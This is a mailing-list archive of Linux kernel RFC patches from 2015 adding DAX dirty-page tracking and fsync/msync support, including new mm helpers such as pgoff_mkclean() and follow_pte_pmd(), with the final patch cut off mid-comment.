X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149554 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Introduce pgoff_mkclean() which conceptually is similar to page_mkclean() except it works in the absence of struct page and it can also be used to clean PMDs. This is needed for DAX's dirty page handling. Signed-off-by: Ross Zwisler --- include/linux/rmap.h | 5 +++++ mm/rmap.c | 53 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 58 insertions(+) diff --git a/include/linux/rmap.h b/include/linux/rmap.h index 29446ae..627875f9 100644 --- a/include/linux/rmap.h +++ b/include/linux/rmap.h @@ -223,6 +223,11 @@ unsigned long page_address_in_vma(struct page *, struct vm_area_struct *); int page_mkclean(struct page *); /* + * Cleans and write protects the PTEs of shared mappings. + */ +int pgoff_mkclean(pgoff_t, struct address_space *); + +/* * called in munlock()/munmap() path to check for other vmas holding * the page mlocked. */ diff --git a/mm/rmap.c b/mm/rmap.c index f5b5c1f..0ce16ab 100644 --- a/mm/rmap.c +++ b/mm/rmap.c @@ -586,6 +586,16 @@ vma_address(struct page *page, struct vm_area_struct *vma) return address; } +static inline unsigned long +pgoff_address(pgoff_t pgoff, struct vm_area_struct *vma) +{ + unsigned long address; + + address = vma->vm_start + ((pgoff - vma->vm_pgoff) << PAGE_SHIFT); + VM_BUG_ON_VMA(address < vma->vm_start || address >= vma->vm_end, vma); + return address; +} + #ifdef CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH static void percpu_flush_tlb_batch_pages(void *data) { @@ -1040,6 +1050,49 @@ int page_mkclean(struct page *page) } EXPORT_SYMBOL_GPL(page_mkclean); +int pgoff_mkclean(pgoff_t pgoff, struct address_space *mapping) +{ + struct vm_area_struct *vma; + int ret = 0; + + i_mmap_lock_read(mapping); + vma_interval_tree_foreach(vma, &mapping->i_mmap, pgoff, pgoff) { + struct mm_struct *mm = vma->vm_mm; + pmd_t pmd, *pmdp = NULL; + pte_t pte, *ptep = NULL; + unsigned long address; + spinlock_t *ptl; + + address = pgoff_address(pgoff, vma); + + ret = follow_pte_pmd(mm, address, &ptep, &pmdp, &ptl); + if (ret) + goto out; + + if (pmdp) { + flush_cache_page(vma, address, pmd_pfn(*pmdp)); + pmd = pmdp_huge_clear_flush(vma, address, pmdp); + pmd = pmd_wrprotect(pmd); + pmd = pmd_mkclean(pmd); + set_pmd_at(mm, address, pmdp, pmd); + spin_unlock(ptl); + } else { + BUG_ON(!ptep); + flush_cache_page(vma, address, pte_pfn(*ptep)); + pte = ptep_clear_flush(vma, address, ptep); + pte = pte_wrprotect(pte); + pte = pte_mkclean(pte); + set_pte_at(mm, address, ptep, pte); + pte_unmap_unlock(ptep, ptl); + } + } + + out: + i_mmap_unlock_read(mapping); + return ret; +} +EXPORT_SYMBOL_GPL(pgoff_mkclean); + /** * page_move_anon_rmap - move a page to our anon_vma * @page: the page to move to our anon_vma -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 06ED07F4E for ; Thu, 29 Oct 2015 15:12:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C488830404E for ; Thu, 29 Oct 2015 13:12:36 -0700 (PDT) X-ASG-Debug-ID: 1446149554-04bdf0330c122fd0002-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id kZJpRtpbdDDgEWIe for ; Thu, 29 Oct 2015 13:12:35 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:34 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730643" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:33 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 07/11] mm: add find_get_entries_tag() Date: Thu, 29 Oct 2015 14:12:11 -0600 X-ASG-Orig-Subj: [RFC 07/11] mm: add find_get_entries_tag() Message-Id: <1446149535-16200-8-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149555 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Add find_get_entries_tag() to the family of functions that include find_get_entries(), find_get_pages() and find_get_pages_tag(). This is needed for DAX dirty page handling because we need a list of both page offsets and radix tree entries ('indices' and 'entries' in this function) that are marked with the PAGECACHE_TAG_TOWRITE tag. Signed-off-by: Ross Zwisler --- include/linux/pagemap.h | 3 +++ mm/filemap.c | 61 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 64 insertions(+) diff --git a/include/linux/pagemap.h b/include/linux/pagemap.h index a6c78e0..6fea3be 100644 --- a/include/linux/pagemap.h +++ b/include/linux/pagemap.h @@ -354,6 +354,9 @@ unsigned find_get_pages_contig(struct address_space *mapping, pgoff_t start, unsigned int nr_pages, struct page **pages); unsigned find_get_pages_tag(struct address_space *mapping, pgoff_t *index, int tag, unsigned int nr_pages, struct page **pages); +unsigned find_get_entries_tag(struct address_space *mapping, pgoff_t start, + int tag, unsigned int nr_entries, + struct page **entries, pgoff_t *indices); struct page *grab_cache_page_write_begin(struct address_space *mapping, pgoff_t index, unsigned flags); diff --git a/mm/filemap.c b/mm/filemap.c index c3a9e4f..992cf84 100644 --- a/mm/filemap.c +++ b/mm/filemap.c @@ -1454,6 +1454,67 @@ repeat: } EXPORT_SYMBOL(find_get_pages_tag); +/** + * find_get_entries_tag - find and return entries that match @tag + * @mapping: the address_space to search + * @start: the starting page cache index + * @tag: the tag index + * @nr_entries: the maximum number of entries + * @entries: where the resulting entries are placed + * @indices: the cache indices corresponding to the entries in @entries + * + * Like find_get_entries, except we only return entries which are tagged with + * @tag. + */ +unsigned find_get_entries_tag(struct address_space *mapping, pgoff_t start, + int tag, unsigned int nr_entries, + struct page **entries, pgoff_t *indices) +{ + void **slot; + unsigned int ret = 0; + struct radix_tree_iter iter; + + if (!nr_entries) + return 0; + + rcu_read_lock(); +restart: + radix_tree_for_each_tagged(slot, &mapping->page_tree, + &iter, start, tag) { + struct page *page; +repeat: + page = radix_tree_deref_slot(slot); + if (unlikely(!page)) + continue; + if (radix_tree_exception(page)) { + if (radix_tree_deref_retry(page)) + goto restart; + /* + * A shadow entry of a recently evicted page, a swap + * entry from shmem/tmpfs or a DAX entry. Return it + * without attempting to raise page count. + */ + goto export; + } + if (!page_cache_get_speculative(page)) + goto repeat; + + /* Has the page moved? */ + if (unlikely(page != *slot)) { + page_cache_release(page); + goto repeat; + } +export: + indices[ret] = iter.index; + entries[ret] = page; + if (++ret == nr_entries) + break; + } + rcu_read_unlock(); + return ret; +} +EXPORT_SYMBOL(find_get_entries_tag); + /* * CD/DVDs are error prone. When a medium error occurs, the driver may fail * a _large_ part of the i/o request. Imagine the worst scenario: -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93C6C7F50 for ; Thu, 29 Oct 2015 15:12:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 39D90AC002 for ; Thu, 29 Oct 2015 13:12:34 -0700 (PDT) X-ASG-Debug-ID: 1446149552-04bdf03309122fc0001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id ATDmGVXsJN0tIfbS for ; Thu, 29 Oct 2015 13:12:33 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:32 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730621" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:31 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 05/11] mm: add follow_pte_pmd() Date: Thu, 29 Oct 2015 14:12:09 -0600 X-ASG-Orig-Subj: [RFC 05/11] mm: add follow_pte_pmd() Message-Id: <1446149535-16200-6-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149552 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Similar to follow_pte(), follow_pte_pmd() allows either a PTE leaf or a huge page PMD leaf to be found and returned. Signed-off-by: Ross Zwisler --- include/linux/mm.h | 2 ++ mm/memory.c | 41 +++++++++++++++++++++++++++++++++-------- 2 files changed, 35 insertions(+), 8 deletions(-) diff --git a/include/linux/mm.h b/include/linux/mm.h index 80001de..393441c 100644 --- a/include/linux/mm.h +++ b/include/linux/mm.h @@ -1166,6 +1166,8 @@ int copy_page_range(struct mm_struct *dst, struct mm_struct *src, struct vm_area_struct *vma); void unmap_mapping_range(struct address_space *mapping, loff_t const holebegin, loff_t const holelen, int even_cows); +int follow_pte_pmd(struct mm_struct *mm, unsigned long address, + pte_t **ptepp, pmd_t **pmdpp, spinlock_t **ptlp); int follow_pfn(struct vm_area_struct *vma, unsigned long address, unsigned long *pfn); int follow_phys(struct vm_area_struct *vma, unsigned long address, diff --git a/mm/memory.c b/mm/memory.c index deb679c..c2b8c0a 100644 --- a/mm/memory.c +++ b/mm/memory.c @@ -3512,8 +3512,8 @@ int __pmd_alloc(struct mm_struct *mm, pud_t *pud, unsigned long address) } #endif /* __PAGETABLE_PMD_FOLDED */ -static int __follow_pte(struct mm_struct *mm, unsigned long address, - pte_t **ptepp, spinlock_t **ptlp) +static int __follow_pte_pmd(struct mm_struct *mm, unsigned long address, + pte_t **ptepp, pmd_t **pmdpp, spinlock_t **ptlp) { pgd_t *pgd; pud_t *pud; @@ -3529,12 +3529,23 @@ static int __follow_pte(struct mm_struct *mm, unsigned long address, goto out; pmd = pmd_offset(pud, address); - VM_BUG_ON(pmd_trans_huge(*pmd)); - if (pmd_none(*pmd) || unlikely(pmd_bad(*pmd))) - goto out; - /* We cannot handle huge page PFN maps. Luckily they don't exist. */ - if (pmd_huge(*pmd)) + if (pmd_huge(*pmd)) { + if (!pmdpp) + goto out; + + *ptlp = pmd_lock(mm, pmd); + if (pmd_huge(*pmd)) { + /* Success, we found a large PTE */ + *pmdpp = pmd; + return 0; + } + /* Somebody removed the PMD entry, try it as a pte */ + spin_unlock(*ptlp); + } + + /* FIXME: pmd_bad() is sometimes set for DAX pmds? */ + if (pmd_none(*pmd) || unlikely(pmd_bad(*pmd))) goto out; ptep = pte_offset_map_lock(mm, pmd, address, ptlp); @@ -3557,9 +3568,23 @@ static inline int follow_pte(struct mm_struct *mm, unsigned long address, /* (void) is needed to make gcc happy */ (void) __cond_lock(*ptlp, - !(res = __follow_pte(mm, address, ptepp, ptlp))); + !(res = __follow_pte_pmd(mm, address, ptepp, NULL, + ptlp))); + return res; +} + +int follow_pte_pmd(struct mm_struct *mm, unsigned long address, + pte_t **ptepp, pmd_t **pmdpp, spinlock_t **ptlp) +{ + int res; + + /* (void) is needed to make gcc happy */ + (void) __cond_lock(*ptlp, + !(res = __follow_pte_pmd(mm, address, ptepp, pmdpp, + ptlp))); return res; } +EXPORT_SYMBOL(follow_pte_pmd); /** * follow_pfn - look up PFN at a user virtual address -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 08EE47CBF for ; Thu, 29 Oct 2015 15:12:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C9F8AC003 for ; Thu, 29 Oct 2015 13:12:37 -0700 (PDT) X-ASG-Debug-ID: 1446149554-04bdf0330c122fd0003-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id JGC5Q0L5sdOVFkYR for ; Thu, 29 Oct 2015 13:12:36 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:35 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730653" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:34 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 08/11] fs: add get_block() to struct inode_operations Date: Thu, 29 Oct 2015 14:12:12 -0600 X-ASG-Orig-Subj: [RFC 08/11] fs: add get_block() to struct inode_operations Message-Id: <1446149535-16200-9-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149556 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header To be able to flush dirty pages to media as part of the fsync/msync path DAX needs to be able to map file offsets to kernel addresses via a combination of the filesystem's get_block() routine and bdev_direct_access(). This currently happens in the DAX fault handlers which receive a get_block() callback directly from the filesystem via a function parameter. For the fsync/msync path this doesn't work, though, because DAX is called not by the filesystem but by the writeback infrastructure which doesn't know about the filesystem specific get_block() routine. To handle this we make get_block() an entry in the struct inode_operations table so that we can access the correct get_block() routine in the context of the writeback infrastructure. Signed-off-by: Ross Zwisler --- fs/ext2/file.c | 1 + fs/ext4/file.c | 1 + fs/xfs/xfs_iops.c | 1 + include/linux/fs.h | 4 ++-- 4 files changed, 5 insertions(+), 2 deletions(-) diff --git a/fs/ext2/file.c b/fs/ext2/file.c index 11a42c5..fc1418c 100644 --- a/fs/ext2/file.c +++ b/fs/ext2/file.c @@ -202,4 +202,5 @@ const struct inode_operations ext2_file_inode_operations = { .get_acl = ext2_get_acl, .set_acl = ext2_set_acl, .fiemap = ext2_fiemap, + .get_block = ext2_get_block, }; diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 113837e..54d7729 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -720,5 +720,6 @@ const struct inode_operations ext4_file_inode_operations = { .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, .fiemap = ext4_fiemap, + .get_block = ext4_get_block_dax, }; diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8294132..c58c270 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -1112,6 +1112,7 @@ static const struct inode_operations xfs_inode_operations = { .listxattr = xfs_vn_listxattr, .fiemap = xfs_vn_fiemap, .update_time = xfs_vn_update_time, + .get_block = xfs_get_blocks_direct, }; static const struct inode_operations xfs_dir_inode_operations = { diff --git a/include/linux/fs.h b/include/linux/fs.h index f791698..1dca85b 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1679,8 +1679,8 @@ struct inode_operations { umode_t create_mode, int *opened); int (*tmpfile) (struct inode *, struct dentry *, umode_t); int (*set_acl)(struct inode *, struct posix_acl *, int); - - /* WARNING: probably going away soon, do not use! */ + int (*get_block)(struct inode *inode, sector_t iblock, + struct buffer_head *bh_result, int create); } ____cacheline_aligned; ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector, -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F8907F51 for ; Thu, 29 Oct 2015 15:12:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 63F1330404E for ; Thu, 29 Oct 2015 13:12:39 -0700 (PDT) X-ASG-Debug-ID: 1446149554-04bdf0330c122fd0004-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id KeH8fVgbN1C58eTq for ; Thu, 29 Oct 2015 13:12:37 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:36 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730663" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:35 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 09/11] dax: add support for fsync/sync Date: Thu, 29 Oct 2015 14:12:13 -0600 X-ASG-Orig-Subj: [RFC 09/11] dax: add support for fsync/sync Message-Id: <1446149535-16200-10-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149556 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header To properly handle fsync/msync in an efficient way DAX needs to track dirty pages so it is able to flush them durably to media on demand. The tracking of dirty pages is done via the radix tree in struct address_space. This radix tree is already used by the page writeback infrastructure for tracking dirty pages associated with an open file, and it already has support for exceptional (non struct page*) entries. We build upon these features to add exceptional entries to the radix tree for DAX dirty PMD or PTE pages at fault time. When called as part of the msync/fsync flush path DAX queries the radix tree for dirty entries, flushing them and then marking the PTE or PMD page table entries as clean. The step of cleaning the PTE or PMD entries is necessary so that on subsequent writes to the same page we get a new write fault, allowing us to re-enter the DAX tag into the radix tree. Signed-off-by: Ross Zwisler --- fs/dax.c | 161 ++++++++++++++++++++++++++++++++++++++++++++++++++-- include/linux/dax.h | 1 + mm/huge_memory.c | 14 ++--- mm/page-writeback.c | 9 +++ 4 files changed, 172 insertions(+), 13 deletions(-) diff --git a/fs/dax.c b/fs/dax.c index 131fd35a..3b38aff 100644 --- a/fs/dax.c +++ b/fs/dax.c @@ -24,10 +24,13 @@ #include #include #include +#include #include +#include #include #include #include +#include /* * dax_clear_blocks() is called from within transaction context from XFS, @@ -287,6 +290,42 @@ static int copy_user_bh(struct page *to, struct buffer_head *bh, return 0; } +static int dax_dirty_pgoff(struct vm_area_struct *vma, + struct address_space *mapping, unsigned long pgoff, + bool pmd_entry) +{ + struct radix_tree_root *page_tree = &mapping->page_tree; + void *tag; + int error = 0; + + __mark_inode_dirty(file_inode(vma->vm_file), I_DIRTY_PAGES); + + spin_lock_irq(&mapping->tree_lock); + + tag = radix_tree_lookup(page_tree, pgoff); + if (tag) { + if (pmd_entry && tag == RADIX_TREE_DAX_PTE) { + radix_tree_delete(&mapping->page_tree, pgoff); + mapping->nrdax--; + } else + goto out; + } + + if (pmd_entry) + error = radix_tree_insert(page_tree, pgoff, RADIX_TREE_DAX_PMD); + else + error = radix_tree_insert(page_tree, pgoff, RADIX_TREE_DAX_PTE); + + if (error) + goto out; + + mapping->nrdax++; + radix_tree_tag_set(page_tree, pgoff, PAGECACHE_TAG_DIRTY); + out: + spin_unlock_irq(&mapping->tree_lock); + return error; +} + static int dax_insert_mapping(struct inode *inode, struct buffer_head *bh, struct vm_area_struct *vma, struct vm_fault *vmf) { @@ -450,6 +489,7 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, delete_from_page_cache(page); unlock_page(page); page_cache_release(page); + page = NULL; } /* @@ -463,6 +503,13 @@ int __dax_fault(struct vm_area_struct *vma, struct vm_fault *vmf, * as for normal BH based IO completions. */ error = dax_insert_mapping(inode, &bh, vma, vmf); + if (error) + goto out; + + error = dax_dirty_pgoff(vma, inode->i_mapping, vmf->pgoff, false); + if (error) + goto out; + if (buffer_unwritten(&bh)) { if (complete_unwritten) complete_unwritten(&bh, !error); @@ -537,7 +584,7 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, pgoff_t size, pgoff; sector_t block, sector; unsigned long pfn; - int result = 0; + int error, result = 0; /* Fall back to PTEs if we're going to COW */ if (write && !(vma->vm_flags & VM_SHARED)) @@ -638,6 +685,10 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, } result |= vmf_insert_pfn_pmd(vma, address, pmd, pfn, write); + + error = dax_dirty_pgoff(vma, inode->i_mapping, pgoff, true); + if (error) + goto fallback; } out: @@ -693,11 +744,11 @@ EXPORT_SYMBOL_GPL(dax_pmd_fault); */ int dax_pfn_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) { - struct super_block *sb = file_inode(vma->vm_file)->i_sb; + struct file *file = vma->vm_file; + struct address_space *mapping = file->f_mapping; + struct inode *inode = mapping->host; - sb_start_pagefault(sb); - file_update_time(vma->vm_file); - sb_end_pagefault(sb); + dax_dirty_pgoff(vma, inode->i_mapping, vmf->pgoff, false); return VM_FAULT_NOPAGE; } EXPORT_SYMBOL_GPL(dax_pfn_mkwrite); @@ -772,3 +823,103 @@ int dax_truncate_page(struct inode *inode, loff_t from, get_block_t get_block) return dax_zero_page_range(inode, from, length, get_block); } EXPORT_SYMBOL_GPL(dax_truncate_page); + +static int dax_flush_one_mapping(struct address_space *mapping, + struct inode *inode, sector_t block, void *tag) +{ + get_block_t *get_block = inode->i_op->get_block; + struct buffer_head bh; + void __pmem *addr; + int ret; + + BUG_ON(tag != RADIX_TREE_DAX_PMD && tag != RADIX_TREE_DAX_PTE); + + memset(&bh, 0, sizeof(bh)); + + if (tag == RADIX_TREE_DAX_PMD) + bh.b_size = PMD_SIZE; + else + bh.b_size = PAGE_SIZE; + + ret = get_block(inode, block, &bh, false); + BUG_ON(!buffer_written(&bh)); + if (ret < 0) + return ret; + + ret = dax_get_addr(&bh, &addr, inode->i_blkbits); + if (ret < 0) + return ret; + + if (tag == RADIX_TREE_DAX_PMD) + WARN_ON(ret != PMD_SIZE); + else + WARN_ON(ret != PAGE_SIZE); + + wb_cache_pmem(addr, ret); + + spin_lock_irq(&mapping->tree_lock); + radix_tree_delete(&mapping->page_tree, block); + spin_unlock_irq(&mapping->tree_lock); + mapping->nrdax--; + + return pgoff_mkclean(block, mapping); +} + +/* + * flush the mapping to the persistent domain within the byte range of (start, + * end). This is required by data integrity operations to ensure file data is on + * persistent storage prior to completion of the operation. It also requires us + * to clean the mappings (i.e. write -> RO) so that we'll get a new fault when + * the file is written to again so wehave an indication that we need to flush + * the mapping if a data integrity operation takes place. + * + * We don't need commits to storage here - the filesystems will issue flushes + * appropriately at the conclusion of the data integrity operation via REQ_FUA + * writes or blkdev_issue_flush() commands. This requires the DAX block device + * to implement persistent 